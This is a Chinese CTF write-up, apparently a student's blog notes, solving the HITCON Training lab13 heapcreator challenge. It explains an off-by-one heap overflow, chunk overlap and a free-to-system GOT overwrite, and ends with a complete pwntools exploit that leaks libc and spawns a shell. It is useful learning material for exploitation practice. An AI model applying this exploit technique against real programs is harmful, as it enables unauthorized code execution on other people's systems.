HITCON Trainging lab13——CTFwiki
查看程序
根据结果得知,该程序为64位程序;
开启了NX、Canary和Partial RELRO保护;
IDA64分析程序
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char choice[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
read(0, choice, 4uLL); //读取用户输入
switch ( atoi(choice) ) //可以看出这是一个编辑堆(heap)的程序
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
show_heap();
break;
case 4:
delete_heap();
break;
case 5:
exit(0);
default:
puts("Invalid Choice");
break;
}
}
}
create_heap
unsigned __int64 create_heap()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char input_size[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
*(&heaparray + i) = malloc(0x10uLL); //创建保存即将创建堆块信息的堆块
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, input_size, 8uLL); //输入需要创建堆块的大小
size = atoi(input_size);
v0 = (__int64)*(&heaparray + i);
*(_QWORD *)(v0 + 8) = malloc(size);
if ( !*((_QWORD *)*(&heaparray + i) + 1) ) //判断对应大小的堆块是否创建成功
{
puts("Allocate Error");
exit(2);
}
*(_QWORD *)*(&heaparray + i) = size;
printf("Content of heap:");
read_input(*((_QWORD *)*(&heaparray + i) + 1), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
由于IDA中F5的反编译功能反编译出来的C语言代码会和真正的代码存在一定出入,粗略看一下就好了;
我们简单的可以看出来,创建堆(create_heap)的过程就是
- 先创建一个0x10的堆块来保存即将创建堆块的信息。如果无法创建则报错退出;
- 输入需要创建堆块的大小。尝试创建对应大小的堆块,如果无法创建则报错退出;
- 输入堆中的内容;
edit_heap
unsigned __int64 edit_heap()
{
int index; // [rsp+Ch] [rbp-14h]
char input_index[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, input_index, 4uLL); //读入需要编辑堆的索引
index = atoi(input_index);
if ( index < 0 || index > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + index) )
{
printf("Content of heap : ");
read_input(*((void **)*(&heaparray + index) + 1), *(_QWORD *)*(&heaparray + index) + 1LL); //读入长度比指定长度大1,读入长度为:*(_QWORD *)*(&heaparray + index) + 1LL
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
根据指定的索引读入原堆块中的大小,并读入新的堆内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞。
有点像是故意留下的,应该说就是故意留下的。
show_heap和delete_heap
没什么可说的,就是
简单的输入指定索引的堆的大小和内容;
free掉申请的堆块,使存储对应堆块的指针为null;
漏洞分析
根据IDA的分析,我们可以知道我们可以利用的漏洞为off by one;
简单思路:
- 通过off by one修改next chunk的size域,来实现overlap;
- 根据heap分配机制,使其中heaparray和heap区域形成前后转换的效果
- 通过overlap来覆盖heaparray的指针指向free函数
- 由于heaparray指向free函数,通过程序原先的edit,来修改free函数所调用的真实值
分析过程
分析程序申请堆
通过程序申请两个heap,并查看程序的堆空间可以看出,
申请的heap空间前都申请了一个0x10大小的heap来作为heaparray
通过查看堆中的内容可以看出,heaparray中保存的信息有两个
- 用户申请堆的大小
- 用户申请堆内容的地址
漏洞利用
根据前面对程序堆空间的分析,可以得知,
利用off by one溢出覆盖的话,覆盖的是next chunk(也就是下一个申请堆块的heaparray堆块)
如果像上图中申请0x30的堆空间,那么我们off by one溢出覆盖的位置就会使next chunk的pre_size域,而不是我们想要修改的size域
所以我们申请的空间应该要利用到pre_size域。当前面的chunk属于使用状态中,当前chunk的pre_size域在一定情况下,可供前一个chunk使用。
例如:申请一个0x18大小的堆时,申请的堆块的大小只需要0x20即可,由于pre_size+size总共0x10,所以可用空间剩余0x10,此时申请chunk的下一个chunk的pre_size则供申请的chunk使用,0x10+0x8=0x18,满足用户使用需求。
所以本题中,我们第一次申请一个0x18大小的堆空间,在申请一个0x10大小的堆空间,如图所示;
可以看出堆空间的分配和我们所说的一致
细心的小伙伴应该会发现一个小问题,那就是为什么我明明内容传输的是‘aaaa’,而堆中保存的内容却是‘0x0000000a61616161’。
原因是0a是换行符‘\n’,作为键盘输入的结束符读入;
由于之前IDA分析得知,edit编辑修改的内容读入长度比指定长度大1Byte,刚好能够实现覆盖next chunk的size域;
通过编辑索引为0的堆块,即第一次申请的大小为0x18的堆块,我们构造payload为 b'c'*0x18 + b'\x41'
多出的1字节作为next chunk的大小,上述payload将next chunk大小覆盖为0x41,编辑结果如图所示;
在修改完heaparray的大小之后已经实现了overlap,使得heaparray覆盖了heap区域
0x103f290~0x103f2c0均为heaparray的chunk
与此同时0x103f2b0~0x103f2c0又为heap的chunk
heap和heaparray转换
当我们删掉索引为1的堆块时,会free掉两个不同大小的chunk,一个是大小为0x40的chunk,这个是我们通过off by one漏洞修改后的heaparray[1]的chunk,一个是大小为0x20的chunk,这个是原本的heap堆块;
所以我们再次申请一个0x30(加上chunk头共0x40)大小的堆块时,系统就会将释放的0x40的chunk分配给我们
又由于需要一个0x10(加上chunk头共0x20)大小的堆块作为heaparray保存堆块的信息,所以系统会将原本作为heap的0x20大小的chunk分配给heaparray来保存信息;
这时我们就实现了将heap与heaparray前后转换
前面我们知道heaparray中保存了heap的大小,与heap的内容地址指针
由于heaparray位于heap中,我们可以通过修改heaparray内容指针的值来获取系统的信息
修改指针
如上图,我们将heap内容地址修改为指向free函数地址
通过程序中的show函数即可得到,free函数的真实地址
libc_base = free_addr - free_offset
即可得到libc的基址;
详细计算过程以及运行结果如下图所示;
根据图片可以看出我们计算正确;
我们得出了libc_base,可以计算出libc中的system函数的地址
由于我们将heaparray[1]中的内容指针改为程序的free函数指针
我们将free函数指针指向的值改为system函数,即当程序执行free函数时,真正执行的函数为system函数,而不是free函数,以达到getshell的目的。
由于system函数还需要一个参数 /bin/sh
成功修改程序中free函数指针指向的内容
最后执行delete(0)即可执行system(‘/bin/sh’)实现getshell
exp
from pwn import *
context.log_level = 'info'
p = process('./heapcreator')
elf = ELF('./heapcreator')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def choice(num):
p.sendlineafter(b'Your choice :', str(num).encode())
def create(size, content):
choice(1)
p.sendlineafter(b'Size of Heap : ', str(size).encode())
p.sendlineafter(b'Content of heap:', content)
def edit(index, content):
choice(2)
p.sendlineafter(b'Index :', str(index).encode())
p.sendlineafter(b'Content of heap : ', content)
def show(index):
choice(3)
p.sendlineafter(b'Index :', str(index).encode())
def delete(index):
choice(4)
p.sendlineafter(b'Index :', str(index).encode())
create(0x18, b'a'*0x18)
create(0x10, b'b'*0x4)
edit(0, b'/bin/sh'+ b'\x00' + b'a'*0x10 + b'\x41')
delete(1)
create(0x30, p64(0)*4 + p64(0x30) + p64(elf.got['free']))
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
free_addr = u64(data.split(b'\n')[0].ljust(8, b'\x00'))
log.success(f'free_addr: {hex(free_addr)}')
libc_base = free_addr - libc.symbols['free']
log.success(f'libc_base: {hex(libc_base)}')
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
delete(0)
p.interactive()
第一次写博客,记录一下自己学习的笔记。
如果有什么写得不对的地方,请指正;